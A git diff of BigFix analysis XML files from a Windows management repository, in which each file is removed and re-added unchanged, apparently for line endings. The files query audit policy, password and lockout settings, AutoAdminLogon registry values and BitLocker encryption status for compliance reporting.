-    <Property ID="15" Name="Audit - Policy Change - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of policy change category of audit policy</Property>
-    <Property ID="16" Name="Audit - Privilege Use - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of privilege use category of audit policy</Property>
-    <Property ID="17" Name="Audit - System - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of system category of audit policy</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Audit Policy - Windows
+  ID       : 2998298
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:02:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Audit Policy - Windows</Title>
+    <Description><![CDATA[<P>This Analysis provides information on the current Windows Audit Policy on the system.</P>
+<P>Policies queried include:</P>
+<OL>
+<LI>Account Lockout</LI>
+<LI>Account Password</LI>
+<LI>Audit Logging for Accounts</LI>
+<LI>Audit Logging for Object Access</LI>
+<LI>Audit Logging for Policy Changes</LI>
+<LI>Audit Logging for Privilege Use</LI>
+<LI>Audit Logging for System Policies</LI></OL>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Audit - Password History Length - Windows" EvaluationPeriod="P1D">password history length of security database</Property>
+    <Property ID="2" Name="Audit - Minimum Password Length - Windows" EvaluationPeriod="P1D">minimum password length of security database</Property>
+    <Property ID="3" Name="Audit - Minimum Password Age - Windows" EvaluationPeriod="P1D">minimum password age of security database</Property>
+    <Property ID="4" Name="Audit - Maximum Password Age - Windows" EvaluationPeriod="P1D">maximum password age of security database | error &quot;none&quot;</Property>
+    <Property ID="5" Name="Audit - Force Logoff Interval - Windows" EvaluationPeriod="P1D">force logoff interval of security database | &quot;none&quot;</Property>
+    <Property ID="6" Name="Audit - Account Lockout Threshold - Windows" EvaluationPeriod="P1D">account lockout threshold of security database</Property>
+    <Property ID="7" Name="Audit - Account Lockout Observation Windows - Windows" EvaluationPeriod="P1D">account lockout observation window of security database</Property>
+    <Property ID="8" Name="Audit - Account Lockout Duration - Windows" EvaluationPeriod="P1D">account lockout duration of security database</Property>
+    <Property ID="9" Name="Audit - Account Logon - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of account logon category of audit policy</Property>
+    <Property ID="10" Name="Audit - Account Management - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of account management category of audit policy</Property>
+    <Property ID="11" Name="Audit - Detailed Tracking - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of detailed tracking category of audit policy</Property>
+    <Property ID="12" Name="Audit - Domain Access - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of ds access category of audit policy</Property>
+    <Property ID="13" Name="Audit - Logon Logoff - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of logon logoff category of audit policy</Property>
+    <Property ID="14" Name="Audit - Object Access - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of object access category of audit policy</Property>
+    <Property ID="15" Name="Audit - Policy Change - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of policy change category of audit policy</Property>
+    <Property ID="16" Name="Audit - Privilege Use - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of privilege use category of audit policy</Property>
+    <Property ID="17" Name="Audit - System - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of system category of audit policy</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/AutoAdminLogon audit - Windows (2994788).bes b/Sites/Windows Management/Fixlets/Analyses/AutoAdminLogon audit - Windows (2994788).bes
index c8a3cec13..ffcda438f 100644
--- a/Sites/Windows Management/Fixlets/Analyses/AutoAdminLogon audit - Windows (2994788).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/AutoAdminLogon audit - Windows (2994788).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : AutoAdminLogon audit - Windows
-  ID       : 2994788
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T09:49:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>AutoAdminLogon audit - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "5.0"]]></Relevance>
-    <Relevance>(exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; whose(value &quot;AutoAdminLogon&quot; of it as string as trimmed string as integer = 1) of (x64 registries; x32 registries))</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 May 2015 16:48:28 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="AutoAdminLogon?" EvaluationPeriod="PT12H">(exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; whose(value &quot;AutoAdminLogon&quot; of it as string as trimmed string as integer = 1) of (x64 registries; x32 registries))</Property>
-    <Property ID="2" Name="DefaultUserName" EvaluationPeriod="PT12H">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;DefaultUserName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of (x64 registries; x32 registries)</Property>
-    <Property ID="3" Name="Password Length" EvaluationPeriod="PT12H">lengths of unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;DefaultPassword&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of (x64 registries; x32 registries)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : AutoAdminLogon audit - Windows
+  ID       : 2994788
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T09:49:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>AutoAdminLogon audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.0"]]></Relevance>
+    <Relevance>(exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; whose(value &quot;AutoAdminLogon&quot; of it as string as trimmed string as integer = 1) of (x64 registries; x32 registries))</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 16:48:28 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="AutoAdminLogon?" EvaluationPeriod="PT12H">(exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; whose(value &quot;AutoAdminLogon&quot; of it as string as trimmed string as integer = 1) of (x64 registries; x32 registries))</Property>
+    <Property ID="2" Name="DefaultUserName" EvaluationPeriod="PT12H">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;DefaultUserName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="3" Name="Password Length" EvaluationPeriod="PT12H">lengths of unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;DefaultPassword&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of (x64 registries; x32 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/BitLockerEncryptionStatus (96).bes b/Sites/Windows Management/Fixlets/Analyses/BitLockerEncryptionStatus (96).bes
index 84833623c..19c2a39b3 100644
--- a/Sites/Windows Management/Fixlets/Analyses/BitLockerEncryptionStatus (96).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/BitLockerEncryptionStatus (96).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : BitLockerEncryptionStatus
-  ID       : 96
-  Author   : geeksikh
-  Domain   : SCVM
-  Imported : 2013-05-02T09:04:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>BitLockerEncryptionStatus</Title>
-    <Description><![CDATA[Report on Encryption Start, Finish Time and Recovery Key events in System Log with source of&nbsp;<SPAN lang=EN>"Microsoft-Windows-BitLocker-Driver"</SPAN>]]></Description>
-    <Relevance>true</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 02 May 2013 14:05:58 +0000</Value>
-    </MIMEField>
-    <Domain>SCVM</Domain>
-    <Property ID="1" Name="Encryption Start Time - EVENT ID 24577" EvaluationPeriod="P1D">times generated of records whose ((source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase AND event id of it = 24577)) of system event log</Property>
-    <Property ID="2" Name="Encryption Completion Time - EVENT ID 24579" EvaluationPeriod="P1D">times generated of records whose ((source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase AND event id of it = 24579)) of system event log</Property>
-    <Property ID="3" Name="BitLocker Recovery Key Failure to obtain BitLocker volume master key from the TPM - EVENT ID 24636" EvaluationPeriod="P1D">times generated of records whose ((source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase AND event id of it = 24636)) of system event log</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : BitLockerEncryptionStatus
+  ID       : 96
+  Author   : geeksikh
+  Domain   : SCVM
+  Imported : 2013-05-02T09:04:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>BitLockerEncryptionStatus</Title>
+    <Description><![CDATA[Report on Encryption Start, Finish Time and Recovery Key events in System Log with source of&nbsp;<SPAN lang=EN>"Microsoft-Windows-BitLocker-Driver"</SPAN>]]></Description>
+    <Relevance>true</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 02 May 2013 14:05:58 +0000</Value>
+    </MIMEField>
+    <Domain>SCVM</Domain>
+    <Property ID="1" Name="Encryption Start Time - EVENT ID 24577" EvaluationPeriod="P1D">times generated of records whose ((source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase AND event id of it = 24577)) of system event log</Property>
+    <Property ID="2" Name="Encryption Completion Time - EVENT ID 24579" EvaluationPeriod="P1D">times generated of records whose ((source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase AND event id of it = 24579)) of system event log</Property>
+    <Property ID="3" Name="BitLocker Recovery Key Failure to obtain BitLocker volume master key from the TPM - EVENT ID 24636" EvaluationPeriod="P1D">times generated of records whose ((source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase AND event id of it = 24636)) of system event log</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Audit - Windows (2998433).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Audit - Windows (2998433).bes
index be4081fae..91e3a0561 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Audit - Windows (2998433).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Audit - Windows (2998433).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Bitlocker - Audit - Windows
-  ID       : 2998433
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-29T07:29:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Bitlocker - Audit - Windows</Title>
-    <Description><![CDATA[<P>This Analysis provides information on the current Bitlocker status on the system.</P>
-<P>This analysis does not provide the drive letter alongside each property which means that the first row for each property (where applicable) should correspond to the same volume.</P>
-<P>This analysis is only applicable on computers that are Bitlocker capable.</P>
-<P>This analysis uses information provided by the Bitlocker Configuration Probe: <STRONG>Invoke - Bitlocker Configuration Probe - Windows</STRONG></P>
-<P>Credit, kudos, and compliments to jgstew for providing the basis for this: <A href="https://www.bigfix.me/analysis/details/2994754">https://www.bigfix.me/analysis/details/2994754</A></P>
-<P>Credit, kudos, and compliments to geeksikh for providing the encryption started and finished properties: <A href="https://bigfix.me/analysis/details/96">https://bigfix.me/analysis/details/96</A></P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="3" Name="Bitlocker - Encryptable Volume # - Windows" EvaluationPeriod="P1D">number of select objects (&quot;* from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
-    <Property ID="4" Name="Bitlocker - Encryptable Volumes - Windows" EvaluationPeriod="P1D">string values of selects (&quot;DriveLetter from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
-    <Property ID="5" Name="Bitlocker - Protection Status - Windows" EvaluationPeriod="P1D">tuple string items (integer values of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Protection Off, Protection On, Protection Unknown&quot;</Property>
-    <Property ID="6" Name="Bitlocker - Encryption Method - WIndows" EvaluationPeriod="P1D">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;EncryptionMethod&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;N/A, AES 128 With Diffuser, AES 256 With Diffuser, AES 128, AES 256&quot;</Property>
-    <Property ID="7" Name="Bitlocker - Status - Windows" EvaluationPeriod="P1D">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;ConversionStatus&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Fully Decrypted, Fully Encrypted, Encryption In Progress, Decryption In Progress, Encryption Paused, Decryption Paused&quot;</Property>
-    <Property ID="8" Name="Bitlocker - Volume Type - Windows" EvaluationPeriod="P1D">(selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;VolumeType&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
-    <Property ID="10" Name="Bitlocker - Encryption Status - Windows">(preceding text of first &quot;-&quot; of name of it, (it as trimmed string) of following text of first &quot;:&quot; of (concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of it as trimmed string) whose (it contains &quot;Conversion Status&quot;) of lines of it) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
-    <Property ID="11" Name="Bitlocker - Encryption Progress - Windows">(preceding text of first &quot;-&quot; of name of it, (it as trimmed string) of following text of first &quot;:&quot; of (concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of it as trimmed string) whose (it contains &quot;Percentage Encrypted&quot;) of lines of it) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - Audit - Windows
+  ID       : 2998433
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-29T07:29:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - Audit - Windows</Title>
+    <Description><![CDATA[<P>This Analysis provides information on the current Bitlocker status on the system.</P>
+<P>This analysis does not provide the drive letter alongside each property which means that the first row for each property (where applicable) should correspond to the same volume.</P>
+<P>This analysis is only applicable on computers that are Bitlocker capable.</P>
+<P>This analysis uses information provided by the Bitlocker Configuration Probe: <STRONG>Invoke - Bitlocker Configuration Probe - Windows</STRONG></P>
+<P>Credit, kudos, and compliments to jgstew for providing the basis for this: <A href="https://www.bigfix.me/analysis/details/2994754">https://www.bigfix.me/analysis/details/2994754</A></P>
+<P>Credit, kudos, and compliments to geeksikh for providing the encryption started and finished properties: <A href="https://bigfix.me/analysis/details/96">https://bigfix.me/analysis/details/96</A></P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="3" Name="Bitlocker - Encryptable Volume # - Windows" EvaluationPeriod="P1D">number of select objects (&quot;* from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+    <Property ID="4" Name="Bitlocker - Encryptable Volumes - Windows" EvaluationPeriod="P1D">string values of selects (&quot;DriveLetter from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+    <Property ID="5" Name="Bitlocker - Protection Status - Windows" EvaluationPeriod="P1D">tuple string items (integer values of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Protection Off, Protection On, Protection Unknown&quot;</Property>
+    <Property ID="6" Name="Bitlocker - Encryption Method - WIndows" EvaluationPeriod="P1D">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;EncryptionMethod&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;N/A, AES 128 With Diffuser, AES 256 With Diffuser, AES 128, AES 256&quot;</Property>
+    <Property ID="7" Name="Bitlocker - Status - Windows" EvaluationPeriod="P1D">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;ConversionStatus&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Fully Decrypted, Fully Encrypted, Encryption In Progress, Decryption In Progress, Encryption Paused, Decryption Paused&quot;</Property>
+    <Property ID="8" Name="Bitlocker - Volume Type - Windows" EvaluationPeriod="P1D">(selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;VolumeType&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
+    <Property ID="10" Name="Bitlocker - Encryption Status - Windows">(preceding text of first &quot;-&quot; of name of it, (it as trimmed string) of following text of first &quot;:&quot; of (concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of it as trimmed string) whose (it contains &quot;Conversion Status&quot;) of lines of it) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+    <Property ID="11" Name="Bitlocker - Encryption Progress - Windows">(preceding text of first &quot;-&quot; of name of it, (it as trimmed string) of following text of first &quot;:&quot; of (concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of it as trimmed string) whose (it contains &quot;Percentage Encrypted&quot;) of lines of it) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Compatibility - Windows (2998299).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Compatibility - Windows (2998299).bes
index 588164f51..1e86c886c 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Compatibility - Windows (2998299).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Compatibility - Windows (2998299).bes	
@@ -1,23 +1,23 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Bitlocker - Compatibility - Windows
-  ID       : 2998299
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T18:02:41
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Bitlocker - Compatibility - Windows</Title>
-    <Description><![CDATA[<P>Provides information on whether or not the OS is compatible with Bitlocker and whether the WMI node required for Bitlocker exists on the system. </P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Bitlocker - OS Compatible - Windows" EvaluationPeriod="P1D">(windows of operating system) AND (version of operating system &gt;= &quot;6.0&quot;) AND (( exists product info string whose(it ends with &quot;Enterprise&quot; OR it starts with &quot;Enterprise&quot; OR it ends with &quot;Ultimate&quot; OR it ends with &quot;Server Datacenter&quot;) of operating system ) OR ( (version of operating system &gt;= &quot;6.2&quot;) AND (exists product info string whose(it ends with &quot;Business&quot;) of operating system) ))</Property>
-    <Property ID="2" Name="Bitlocker - Available - Windows" EvaluationPeriod="P1D">if (exists WMI &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) then true else false</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - Compatibility - Windows
+  ID       : 2998299
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:02:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - Compatibility - Windows</Title>
+    <Description><![CDATA[<P>Provides information on whether or not the OS is compatible with Bitlocker and whether the WMI node required for Bitlocker exists on the system. </P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Bitlocker - OS Compatible - Windows" EvaluationPeriod="P1D">(windows of operating system) AND (version of operating system &gt;= &quot;6.0&quot;) AND (( exists product info string whose(it ends with &quot;Enterprise&quot; OR it starts with &quot;Enterprise&quot; OR it ends with &quot;Ultimate&quot; OR it ends with &quot;Server Datacenter&quot;) of operating system ) OR ( (version of operating system &gt;= &quot;6.2&quot;) AND (exists product info string whose(it ends with &quot;Business&quot;) of operating system) ))</Property>
+    <Property ID="2" Name="Bitlocker - Available - Windows" EvaluationPeriod="P1D">if (exists WMI &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) then true else false</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Key Protectors - Windows (2998300).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Key Protectors - Windows (2998300).bes
index de0b7a3e5..a52de7144 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Key Protectors - Windows (2998300).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Key Protectors - Windows (2998300).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Bitlocker - Key Protectors - Windows
-  ID       : 2998300
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T18:02:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Bitlocker - Key Protectors - Windows</Title>
-    <Description><![CDATA[<P>This analysis provides the key protectors protecting each bitlocker encrypted volume.</P>
-<P>This analysis relies on the information provided by the <STRONG>Fixlet: Invoke - Bitlocker Configuration Probe - Windows</STRONG></P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists files whose (name of it contains &quot;Status&quot;) of folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
-    <Domain>BESC</Domain>
